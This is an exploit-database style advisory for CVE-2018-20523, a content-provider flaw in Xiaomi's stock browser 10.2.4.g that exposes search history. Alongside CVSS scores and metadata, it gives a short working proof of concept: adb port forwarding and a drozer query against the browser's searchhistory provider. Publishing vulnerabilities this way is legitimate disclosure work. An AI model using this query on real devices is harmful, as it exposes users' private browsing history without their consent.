Xiaomi 10.2.4.g Information Disclosure

2021.08.12

Credit: Vishwaraj101

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-20523

CWE: CWE-200

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Xiaomi browser 10.2.4.g - Browser Search History Disclosure
# Date: 27-Dec-2018
# Exploit Author: Vishwaraj101
# Vendor Homepage: https://www.mi.com/us
# Software Link: https://www.apkmirror.com/apk/xiaomi-inc/mi-browse/mi-browse-10-2-4-release/
# Version: 10.2.4.g
# Tested on: Tested in Android Version: 8.1.0
# CVE : CVE-2018-20523

*summary: *
Xiaomi Stock Browser 10.2.4.g on Xiaomi Redmi Note 5 Pro devices and other Redmi Android phones were vulnerable to content provider injection using which any 3rd party application can read the user’s browser history.

*Vulnerable component:* com.android.browser.searchhistory

*Poc:*

adb forward tcp:31415 tcp:31415

drozer console connect

drozer > run app.provider.query
content://com.android.browser.searchhistory/searchhistory

*Blogpost:*

https://vishwarajbhattrai.wordpress.com/2019/03/22/content-provider-injection-in-xiaomi-stock-browser/

See this note in RAW Version

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Xiaomi 10.2.4.g Information Disclosure

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